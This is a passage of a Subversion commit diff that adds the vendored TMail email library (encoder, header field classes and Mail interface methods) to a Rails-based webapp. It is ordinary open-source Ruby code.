+      return nil if size <= 0
+      str.slice!(0, size)
+    end
+
+    alias extract_S extract_A
+
+    def max_bytes( chunksize, ssize )
+      (restsize() - '=?iso-2022-jp?B??='.size) / 4 * 3 - chunksize
+    end
+
+    #
+    # free length buffer
+    #
+
+    def add_text( str )
+      @text << str
+      # puts '---- text -------------------------------------'
+      # puts "+ #{str.inspect}"
+      # puts "txt >>>#{@text.inspect}<<<"
+    end
+
+    def add_with_encode( str )
+      @text << "=?iso-2022-jp?B?#{Base64.encode(str)}?="
+    end
+
+    def add_lwsp( lwsp )
+      # puts '---- lwsp -------------------------------------'
+      # puts "+ #{lwsp.inspect}"
+      fold if restsize() <= 0
+      flush(@folded)
+      @lwsp = lwsp
+    end
+
+    def flush(folded = false)
+      # puts '---- flush ----'
+      # puts "spc >>>#{@lwsp.inspect}<<<"
+      # puts "txt >>>#{@text.inspect}<<<"
+      @f << @lwsp << @text
+      if folded
+        @curlen = 0
+      else
+        @curlen += (@lwsp.size + @text.size)
+      end
+      @text = ''
+      @lwsp = ''
+    end
+
+    def fold
+      # puts '---- fold ----'
+      unless @f.string =~ /^.*?:$/
+        @f << @eol
+        @lwsp = SPACER
+      else
+        fold_header
+        @folded = true
+      end
+      @curlen = 0
+    end
+
+    def fold_header
+      # Called because line is too long - so we need to wrap.
+      # First look for whitespace in the text
+      # if it has text, fold there
+      # check the remaining text, if too long, fold again
+      # if it doesn't, then don't fold unless the line goes beyond 998 chars
+
+      # Check the text to see if there is whitespace, or if not
+      @wrapped_text = []
+      until @text.blank?
+        fold_the_string
+      end
+      @text = @wrapped_text.join("#{@eol}#{SPACER}")
+    end
+
+    def fold_the_string
+      whitespace_location = @text =~ /\s/ || @text.length
+      # Is the location of the whitespace shorter than the RCF_2822_MAX_LENGTH?
+      # if there is no whitespace in the string, then this
+      unless mazsize(whitespace_location) <= 0
+        @text.strip!
+        @wrapped_text << @text.slice!(0...whitespace_location)
+      # If it is not less, we have to wrap it destructively
+      else
+        slice_point = RFC_2822_MAX_LENGTH - @curlen - @lwsp.length
+        @text.strip!
+        @wrapped_text << @text.slice!(0...slice_point)
+      end
+    end
+
+    def restsize
+      MAX_LINE_LEN - (@curlen + @lwsp.size + @text.size)
+    end
+
+    def mazsize(whitespace_location)
+      # Per RFC2822, the maximum length of a line is 998 chars
+      RFC_2822_MAX_LENGTH - (@curlen + @lwsp.size + whitespace_location)
+    end
+
+  end
+  #:startdoc:
+end    # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,960 @@
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+require 'tmail/encode'
+require 'tmail/address'
+require 'tmail/parser'
+require 'tmail/config'
+require 'tmail/utils'
+
+#:startdoc:
+module TMail
+
+  # Provides methods to handle and manipulate headers in the email
+  class HeaderField
+
+    include TextUtils
+
+    class << self
+
+      alias newobj new
+
+      def new( name, body, conf = DEFAULT_CONFIG )
+        klass = FNAME_TO_CLASS[name.downcase] || UnstructuredHeader
+        klass.newobj body, conf
+      end
+
+      # Returns a HeaderField object matching the header you specify in the "name" param.
+      # Requires an initialized TMail::Port to be passed in.
+      #
+      # The method searches the header of the Port you pass into it to find a match on
+      # the header line you pass.  Once a match is found, it will unwrap the matching line
+      # as needed to return an initialized HeaderField object.
+      #
+      # If you want to get the Envelope sender of the email object, pass in "EnvelopeSender",
+      # if you want the From address of the email itself, pass in 'From'.
+      #
+      # This is because a mailbox doesn't have the : after the From that designates the
+      # beginning of the envelope sender (which can be different to the from address of 
+      # the email)
+      #
+      # Other fields can be passed as normal, "Reply-To", "Received" etc.
+      #
+      # Note: Change of behaviour in 1.2.1 => returns nil if it does not find the specified
+      # header field, otherwise returns an instantiated object of the correct header class
+      # 
+      # For example:
+      #   port = TMail::FilePort.new("/test/fixtures/raw_email_simple")
+      #   h = TMail::HeaderField.new_from_port(port, "From")
+      #   h.addrs.to_s #=> "Mikel Lindsaar <mikel at nowhere.com>"
+      #   h = TMail::HeaderField.new_from_port(port, "EvelopeSender")
+      #   h.addrs.to_s #=> "mike at anotherplace.com.au"
+      #   h = TMail::HeaderField.new_from_port(port, "SomeWeirdHeaderField")
+      #   h #=> nil
+      def new_from_port( port, name, conf = DEFAULT_CONFIG )
+        if name == "EnvelopeSender"
+          name = "From"
+          re = Regexp.new('\A(From) ', 'i')
+        else
+          re = Regexp.new('\A(' + Regexp.quote(name) + '):', 'i')
+        end
+        str = nil
+        port.ropen {|f|
+            f.each do |line|
+              if m = re.match(line)            then str = m.post_match.strip
+              elsif str and /\A[\t ]/ === line then str << ' ' << line.strip
+              elsif /\A-*\s*\z/ === line       then break
+              elsif str                        then break
+              end
+            end
+        }
+        new(name, str, Config.to_config(conf)) if str
+      end
+
+      def internal_new( name, conf )
+        FNAME_TO_CLASS[name].newobj('', conf, true)
+      end
+
+    end   # class << self
+
+    def initialize( body, conf, intern = false )
+      @body = body
+      @config = conf
+
+      @illegal = false
+      @parsed = false
+      
+      if intern
+        @parsed = true
+        parse_init
+      end
+    end
+
+    def inspect
+      "#<#{self.class} #{@body.inspect}>"
+    end
+
+    def illegal?
+      @illegal
+    end
+
+    def empty?
+      ensure_parsed
+      return true if @illegal
+      isempty?
+    end
+
+    private
+
+    def ensure_parsed
+      return if @parsed
+      @parsed = true
+      parse
+    end
+
+    # defabstract parse
+    # end
+
+    def clear_parse_status
+      @parsed = false
+      @illegal = false
+    end
+
+    public
+
+    def body
+      ensure_parsed
+      v = Decoder.new(s = '')
+      do_accept v
+      v.terminate
+      s
+    end
+
+    def body=( str )
+      @body = str
+      clear_parse_status
+    end
+
+    include StrategyInterface
+
+    def accept( strategy )
+      ensure_parsed
+      do_accept strategy
+      strategy.terminate
+    end
+
+    # abstract do_accept
+
+  end
+
+
+  class UnstructuredHeader < HeaderField
+
+    def body
+      ensure_parsed
+      @body
+    end
+
+    def body=( arg )
+      ensure_parsed
+      @body = arg
+    end
+
+    private
+
+    def parse_init
+    end
+
+    def parse
+      @body = Decoder.decode(@body.gsub(/\n|\r\n|\r/, ''))
+    end
+
+    def isempty?
+      not @body
+    end
+
+    def do_accept( strategy )
+      strategy.text @body
+    end
+
+  end
+
+
+  class StructuredHeader < HeaderField
+
+    def comments
+      ensure_parsed
+      if @comments[0]
+        [Decoder.decode(@comments[0])]
+      else
+        @comments
+      end
+    end
+
+    private
+
+    def parse
+      save = nil
+
+      begin
+        parse_init
+        do_parse
+      rescue SyntaxError
+        if not save and mime_encoded? @body
+          save = @body
+          @body = Decoder.decode(save)
+          retry
+        elsif save
+          @body = save
+        end
+
+        @illegal = true
+        raise if @config.strict_parse?
+      end
+    end
+
+    def parse_init
+      @comments = []
+      init
+    end
+
+    def do_parse
+      quote_boundary
+      obj = Parser.parse(self.class::PARSE_TYPE, @body, @comments)
+      set obj if obj
+    end
+
+  end
+
+
+  class DateTimeHeader < StructuredHeader
+
+    PARSE_TYPE = :DATETIME
+
+    def date
+      ensure_parsed
+      @date
+    end
+
+    def date=( arg )
+      ensure_parsed
+      @date = arg
+    end
+
+    private
+
+    def init
+      @date = nil
+    end
+
+    def set( t )
+      @date = t
+    end
+
+    def isempty?
+      not @date
+    end
+
+    def do_accept( strategy )
+      strategy.meta time2str(@date)
+    end
+
+  end
+
+
+  class AddressHeader < StructuredHeader
+
+    PARSE_TYPE = :MADDRESS
+
+    def addrs
+      ensure_parsed
+      @addrs
+    end
+
+    private
+
+    def init
+      @addrs = []
+    end
+
+    def set( a )
+      @addrs = a
+    end
+
+    def isempty?
+      @addrs.empty?
+    end
+
+    def do_accept( strategy )
+      first = true
+      @addrs.each do |a|
+        if first
+          first = false
+        else
+          strategy.meta ','
+          strategy.space
+        end
+        a.accept strategy
+      end
+
+      @comments.each do |c|
+        strategy.space
+        strategy.meta '('
+        strategy.text c
+        strategy.meta ')'
+      end
+    end
+
+  end
+
+
+  class ReturnPathHeader < AddressHeader
+
+    PARSE_TYPE = :RETPATH
+
+    def addr
+      addrs()[0]
+    end
+
+    def spec
+      a = addr() or return nil
+      a.spec
+    end
+
+    def routes
+      a = addr() or return nil
+      a.routes
+    end
+
+    private
+
+    def do_accept( strategy )
+      a = addr()
+
+      strategy.meta '<'
+      unless a.routes.empty?
+        strategy.meta a.routes.map {|i| '@' + i }.join(',')
+        strategy.meta ':'
+      end
+      spec = a.spec
+      strategy.meta spec if spec
+      strategy.meta '>'
+    end
+
+  end
+
+
+  class SingleAddressHeader < AddressHeader
+
+    def addr
+      addrs()[0]
+    end
+
+    private
+
+    def do_accept( strategy )
+      a = addr()
+      a.accept strategy
+      @comments.each do |c|
+        strategy.space
+        strategy.meta '('
+        strategy.text c
+        strategy.meta ')'
+      end
+    end
+
+  end
+
+
+  class MessageIdHeader < StructuredHeader
+
+    def id
+      ensure_parsed
+      @id
+    end
+
+    def id=( arg )
+      ensure_parsed
+      @id = arg
+    end
+
+    private
+
+    def init
+      @id = nil
+    end
+
+    def isempty?
+      not @id
+    end
+
+    def do_parse
+      @id = @body.slice(MESSAGE_ID) or
+              raise SyntaxError, "wrong Message-ID format: #{@body}"
+    end
+
+    def do_accept( strategy )
+      strategy.meta @id
+    end
+
+  end
+
+
+  class ReferencesHeader < StructuredHeader
+
+    def refs
+      ensure_parsed
+      @refs
+    end
+
+    def each_id
+      self.refs.each do |i|
+        yield i if MESSAGE_ID === i
+      end
+    end
+
+    def ids
+      ensure_parsed
+      @ids
+    end
+
+    def each_phrase
+      self.refs.each do |i|
+        yield i unless MESSAGE_ID === i
+      end
+    end
+
+    def phrases
+      ret = []
+      each_phrase {|i| ret.push i }
+      ret
+    end
+
+    private
+
+    def init
+      @refs = []
+      @ids = []
+    end
+
+    def isempty?
+      @ids.empty?
+    end
+
+    def do_parse
+      str = @body
+      while m = MESSAGE_ID.match(str)
+        pre = m.pre_match.strip
+        @refs.push pre unless pre.empty?
+        @refs.push s = m[0]
+        @ids.push s
+        str = m.post_match
+      end
+      str = str.strip
+      @refs.push str unless str.empty?
+    end
+
+    def do_accept( strategy )
+      first = true
+      @ids.each do |i|
+        if first
+          first = false
+        else
+          strategy.space
+        end
+        strategy.meta i
+      end
+    end
+
+  end
+
+
+  class ReceivedHeader < StructuredHeader
+
+    PARSE_TYPE = :RECEIVED
+
+    def from
+      ensure_parsed
+      @from
+    end
+
+    def from=( arg )
+      ensure_parsed
+      @from = arg
+    end
+
+    def by
+      ensure_parsed
+      @by
+    end
+
+    def by=( arg )
+      ensure_parsed
+      @by = arg
+    end
+
+    def via
+      ensure_parsed
+      @via
+    end
+
+    def via=( arg )
+      ensure_parsed
+      @via = arg
+    end
+
+    def with
+      ensure_parsed
+      @with
+    end
+
+    def id
+      ensure_parsed
+      @id
+    end
+
+    def id=( arg )
+      ensure_parsed
+      @id = arg
+    end
+
+    def _for
+      ensure_parsed
+      @_for
+    end
+
+    def _for=( arg )
+      ensure_parsed
+      @_for = arg
+    end
+
+    def date
+      ensure_parsed
+      @date
+    end
+
+    def date=( arg )
+      ensure_parsed
+      @date = arg
+    end
+
+    private
+
+    def init
+      @from = @by = @via = @with = @id = @_for = nil
+      @with = []
+      @date = nil
+    end
+
+    def set( args )
+      @from, @by, @via, @with, @id, @_for, @date = *args
+    end
+
+    def isempty?
+      @with.empty? and not (@from or @by or @via or @id or @_for or @date)
+    end
+
+    def do_accept( strategy )
+      list = []
+      list.push 'from '  + @from       if @from
+      list.push 'by '    + @by         if @by
+      list.push 'via '   + @via        if @via
+      @with.each do |i|
+        list.push 'with ' + i
+      end
+      list.push 'id '    + @id         if @id
+      list.push 'for <'  + @_for + '>' if @_for
+
+      first = true
+      list.each do |i|
+        strategy.space unless first
+        strategy.meta i
+        first = false
+      end
+      if @date
+        strategy.meta ';'
+        strategy.space
+        strategy.meta time2str(@date)
+      end
+    end
+
+  end
+
+
+  class KeywordsHeader < StructuredHeader
+
+    PARSE_TYPE = :KEYWORDS
+
+    def keys
+      ensure_parsed
+      @keys
+    end
+
+    private
+
+    def init
+      @keys = []
+    end
+
+    def set( a )
+      @keys = a
+    end
+
+    def isempty?
+      @keys.empty?
+    end
+
+    def do_accept( strategy )
+      first = true
+      @keys.each do |i|
+        if first
+          first = false
+        else
+          strategy.meta ','
+        end
+        strategy.meta i
+      end
+    end
+
+  end
+
+
+  class EncryptedHeader < StructuredHeader
+
+    PARSE_TYPE = :ENCRYPTED
+
+    def encrypter
+      ensure_parsed
+      @encrypter
+    end
+
+    def encrypter=( arg )
+      ensure_parsed
+      @encrypter = arg
+    end
+
+    def keyword
+      ensure_parsed
+      @keyword
+    end
+
+    def keyword=( arg )
+      ensure_parsed
+      @keyword = arg
+    end
+
+    private
+
+    def init
+      @encrypter = nil
+      @keyword = nil
+    end
+
+    def set( args )
+      @encrypter, @keyword = args
+    end
+
+    def isempty?
+      not (@encrypter or @keyword)
+    end
+
+    def do_accept( strategy )
+      if @key
+        strategy.meta @encrypter + ','
+        strategy.space
+        strategy.meta @keyword
+      else
+        strategy.meta @encrypter
+      end
+    end
+
+  end
+
+
+  class MimeVersionHeader < StructuredHeader
+
+    PARSE_TYPE = :MIMEVERSION
+
+    def major
+      ensure_parsed
+      @major
+    end
+
+    def major=( arg )
+      ensure_parsed
+      @major = arg
+    end
+
+    def minor
+      ensure_parsed
+      @minor
+    end
+
+    def minor=( arg )
+      ensure_parsed
+      @minor = arg
+    end
+
+    def version
+      sprintf('%d.%d', major, minor)
+    end
+
+    private
+
+    def init
+      @major = nil
+      @minor = nil
+    end
+
+    def set( args )
+      @major, @minor = *args
+    end
+
+    def isempty?
+      not (@major or @minor)
+    end
+
+    def do_accept( strategy )
+      strategy.meta sprintf('%d.%d', @major, @minor)
+    end
+
+  end
+
+
+  class ContentTypeHeader < StructuredHeader
+
+    PARSE_TYPE = :CTYPE
+
+    def main_type
+      ensure_parsed
+      @main
+    end
+
+    def main_type=( arg )
+      ensure_parsed
+      @main = arg.downcase
+    end
+
+    def sub_type
+      ensure_parsed
+      @sub
+    end
+
+    def sub_type=( arg )
+      ensure_parsed
+      @sub = arg.downcase
+    end
+
+    def content_type
+      ensure_parsed
+      @sub ? sprintf('%s/%s', @main, @sub) : @main
+    end
+
+    def params
+      ensure_parsed
+      unless @params.blank?
+        @params.each do |k, v|
+          @params[k] = unquote(v)
+        end
+      end
+      @params
+    end
+
+    def []( key )
+      ensure_parsed
+      @params and unquote(@params[key])
+    end
+
+    def []=( key, val )
+      ensure_parsed
+      (@params ||= {})[key] = val
+    end
+
+    private
+
+    def init
+      @main = @sub = @params = nil
+    end
+
+    def set( args )
+      @main, @sub, @params = *args
+    end
+
+    def isempty?
+      not (@main or @sub)
+    end
+
+    def do_accept( strategy )
+      if @sub
+        strategy.meta sprintf('%s/%s', @main, @sub)
+      else
+        strategy.meta @main
+      end
+      @params.each do |k,v|
+        if v
+          strategy.meta ';'
+          strategy.space
+          strategy.kv_pair k, v
+        end
+      end
+    end
+
+  end
+
+
+  class ContentTransferEncodingHeader < StructuredHeader
+
+    PARSE_TYPE = :CENCODING
+
+    def encoding
+      ensure_parsed
+      @encoding
+    end
+
+    def encoding=( arg )
+      ensure_parsed
+      @encoding = arg
+    end
+
+    private
+
+    def init
+      @encoding = nil
+    end
+
+    def set( s )
+      @encoding = s
+    end
+
+    def isempty?
+      not @encoding
+    end
+
+    def do_accept( strategy )
+      strategy.meta @encoding.capitalize
+    end
+
+  end
+
+
+  class ContentDispositionHeader < StructuredHeader
+
+    PARSE_TYPE = :CDISPOSITION
+
+    def disposition
+      ensure_parsed
+      @disposition
+    end
+
+    def disposition=( str )
+      ensure_parsed
+      @disposition = str.downcase
+    end
+
+    def params
+      ensure_parsed
+      unless @params.blank?
+        @params.each do |k, v|
+          @params[k] = unquote(v)
+        end
+      end
+      @params
+    end
+
+    def []( key )
+      ensure_parsed
+      @params and unquote(@params[key])
+    end
+
+    def []=( key, val )
+      ensure_parsed
+      (@params ||= {})[key] = val
+    end
+
+    private
+
+    def init
+      @disposition = @params = nil
+    end
+
+    def set( args )
+      @disposition, @params = *args
+    end
+
+    def isempty?
+      not @disposition and (not @params or @params.empty?)
+    end
+
+    def do_accept( strategy )
+      strategy.meta @disposition
+      @params.each do |k,v|
+        strategy.meta ';'
+        strategy.space
+        strategy.kv_pair k, unquote(v)
+      end
+    end
+      
+  end
+
+
+  class HeaderField   # redefine
+
+    FNAME_TO_CLASS = {
+      'date'                      => DateTimeHeader,
+      'resent-date'               => DateTimeHeader,
+      'to'                        => AddressHeader,
+      'cc'                        => AddressHeader,
+      'bcc'                       => AddressHeader,
+      'from'                      => AddressHeader,
+      'reply-to'                  => AddressHeader,
+      'resent-to'                 => AddressHeader,
+      'resent-cc'                 => AddressHeader,
+      'resent-bcc'                => AddressHeader,
+      'resent-from'               => AddressHeader,
+      'resent-reply-to'           => AddressHeader,
+      'sender'                    => SingleAddressHeader,
+      'resent-sender'             => SingleAddressHeader,
+      'return-path'               => ReturnPathHeader,
+      'message-id'                => MessageIdHeader,
+      'resent-message-id'         => MessageIdHeader,
+      'in-reply-to'               => ReferencesHeader,
+      'received'                  => ReceivedHeader,
+      'references'                => ReferencesHeader,
+      'keywords'                  => KeywordsHeader,
+      'encrypted'                 => EncryptedHeader,
+      'mime-version'              => MimeVersionHeader,
+      'content-type'              => ContentTypeHeader,
+      'content-transfer-encoding' => ContentTransferEncodingHeader,
+      'content-disposition'       => ContentDispositionHeader,
+      'content-id'                => MessageIdHeader,
+      'subject'                   => UnstructuredHeader,
+      'comments'                  => UnstructuredHeader,
+      'content-description'       => UnstructuredHeader
+    }
+
+  end
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/index.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/index.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/index.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+#:stopdoc:
+# This is here for Rolls. 
+# Rolls uses this instead of lib/tmail.rb.
+
+require 'tmail/version'
+require 'tmail/mail'
+require 'tmail/mailbox'
+require 'tmail/core_extensions'
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/interface.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1130 @@
+=begin rdoc
+
+= interface.rb Provides an interface to the TMail object
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+# TMail::Mail objects get accessed primarily through the methods in this file.
+# 
+# 
+
+require 'tmail/utils'
+
+module TMail
+
+  class Mail
+
+    # Allows you to query the mail object with a string to get the contents
+    # of the field you want.
+    # 
+    # Returns a string of the exact contents of the field
+    # 
+    #  mail.from = "mikel <mikel at lindsaar.net>"
+    #  mail.header_string("From") #=> "mikel <mikel at lindsaar.net>"
+    def header_string( name, default = nil )
+      h = @header[name.downcase] or return default
+      h.to_s
+    end
+
+    #:stopdoc:
+    #--
+    #== Attributes
+
+    include TextUtils
+
+    def set_string_array_attr( key, strs )
+      strs.flatten!
+      if strs.empty?
+        @header.delete key.downcase
+      else
+        store key, strs.join(', ')
+      end
+      strs
+    end
+    private :set_string_array_attr
+
+    def set_string_attr( key, str )
+      if str
+        store key, str
+      else
+        @header.delete key.downcase
+      end
+      str
+    end
+    private :set_string_attr
+
+    def set_addrfield( name, arg )
+      if arg
+        h = HeaderField.internal_new(name, @config)
+        h.addrs.replace [arg].flatten
+        @header[name] = h
+      else
+        @header.delete name
+      end
+      arg
+    end
+    private :set_addrfield
+
+    def addrs2specs( addrs )
+      return nil unless addrs
+      list = addrs.map {|addr|
+          if addr.address_group?
+          then addr.map {|a| a.spec }
+          else addr.spec
+          end
+      }.flatten
+      return nil if list.empty?
+      list
+    end
+    private :addrs2specs
+
+    #:startdoc:
+
+    #== Date and Time methods
+
+    # Returns the date of the email message as per the "date" header value or returns
+    # nil by default (if no date field exists).  
+    # 
+    # You can also pass whatever default you want into this method and it will return 
+    # that instead of nil if there is no date already set. 
+    def date( default = nil )
+      if h = @header['date']
+        h.date
+      else
+        default
+      end
+    end
+
+    # Destructively sets the date of the mail object with the passed Time instance,
+    # returns a Time instance set to the date/time of the mail
+    # 
+    # Example:
+    # 
+    #  now = Time.now
+    #  mail.date = now
+    #  mail.date #=> Sat Nov 03 18:47:50 +1100 2007
+    #  mail.date.class #=> Time
+    def date=( time )
+      if time
+        store 'Date', time2str(time)
+      else
+        @header.delete 'date'
+      end
+      time
+    end
+
+    # Returns the time of the mail message formatted to your taste using a 
+    # strftime format string.  If no date set returns nil by default or whatever value
+    # you pass as the second optional parameter.
+    # 
+    #  time = Time.now # (on Nov 16 2007)
+    #  mail.date = time
+    #  mail.strftime("%D") #=> "11/16/07"
+    def strftime( fmt, default = nil )
+      if t = date
+        t.strftime(fmt)
+      else
+        default
+      end
+    end
+
+    #== Destination methods
+
+    # Return a TMail::Addresses instance for each entry in the "To:" field of the mail object header.
+    # 
+    # If the "To:" field does not exist, will return nil by default or the value you
+    # pass as the optional parameter.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.to_addrs #=> nil
+    #  mail.to_addrs([]) #=> []
+    #  mail.to = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.to_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def to_addrs( default = nil )
+      if h = @header['to']
+        h.addrs
+      else
+        default
+      end
+    end
+
+    # Return a TMail::Addresses instance for each entry in the "Cc:" field of the mail object header.
+    # 
+    # If the "Cc:" field does not exist, will return nil by default or the value you
+    # pass as the optional parameter.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.cc_addrs #=> nil
+    #  mail.cc_addrs([]) #=> []
+    #  mail.cc = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.cc_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+     def cc_addrs( default = nil )
+      if h = @header['cc']
+        h.addrs
+      else
+        default
+      end
+    end
+
+    # Return a TMail::Addresses instance for each entry in the "Bcc:" field of the mail object header.
+    # 
+    # If the "Bcc:" field does not exist, will return nil by default or the value you
+    # pass as the optional parameter.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.bcc_addrs #=> nil
+    #  mail.bcc_addrs([]) #=> []
+    #  mail.bcc = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.bcc_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def bcc_addrs( default = nil )
+      if h = @header['bcc']
+        h.addrs
+      else
+        default
+      end
+    end
+
+    # Destructively set the to field of the "To:" header to equal the passed in string.
+    # 
+    # TMail will parse your contents and turn each valid email address into a TMail::Address 
+    # object before assigning it to the mail message.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.to = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.to_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def to_addrs=( arg )
+      set_addrfield 'to', arg
+    end
+
+    # Destructively set the to field of the "Cc:" header to equal the passed in string.
+    # 
+    # TMail will parse your contents and turn each valid email address into a TMail::Address 
+    # object before assigning it to the mail message.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.cc = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.cc_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def cc_addrs=( arg )
+      set_addrfield 'cc', arg
+    end
+
+    # Destructively set the to field of the "Bcc:" header to equal the passed in string.
+    # 
+    # TMail will parse your contents and turn each valid email address into a TMail::Address 
+    # object before assigning it to the mail message.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.bcc = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.bcc_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def bcc_addrs=( arg )
+      set_addrfield 'bcc', arg
+    end
+
+    # Returns who the email is to as an Array of email addresses as opposed to an Array of 
+    # TMail::Address objects which is what Mail#to_addrs returns
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.to = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.to #=>  ["mikel at me.org", "mikel at you.org"]
+    def to( default = nil )
+      addrs2specs(to_addrs(nil)) || default
+    end
+
+    # Returns who the email cc'd as an Array of email addresses as opposed to an Array of 
+    # TMail::Address objects which is what Mail#to_addrs returns
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.cc = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.cc #=>  ["mikel at me.org", "mikel at you.org"]
+    def cc( default = nil )
+      addrs2specs(cc_addrs(nil)) || default
+    end
+
+    # Returns who the email bcc'd as an Array of email addresses as opposed to an Array of 
+    # TMail::Address objects which is what Mail#to_addrs returns
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.bcc = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.bcc #=>  ["mikel at me.org", "mikel at you.org"]
+    def bcc( default = nil )
+      addrs2specs(bcc_addrs(nil)) || default
+    end
+
+    # Destructively sets the "To:" field to the passed array of strings (which should be valid 
+    # email addresses)
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.to = ["mikel at abc.com", "Mikel <mikel at xyz.com>"]
+    #  mail.to #=>  ["mikel at abc.org", "mikel at xyz.org"]
+    #  mail['to'].to_s #=> "mikel at abc.com, Mikel <mikel at xyz.com>"
+    def to=( *strs )
+      set_string_array_attr 'To', strs
+    end
+
+    # Destructively sets the "Cc:" field to the passed array of strings (which should be valid 
+    # email addresses)
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.cc = ["mikel at abc.com", "Mikel <mikel at xyz.com>"]
+    #  mail.cc #=>  ["mikel at abc.org", "mikel at xyz.org"]
+    #  mail['cc'].to_s #=> "mikel at abc.com, Mikel <mikel at xyz.com>"
+    def cc=( *strs )
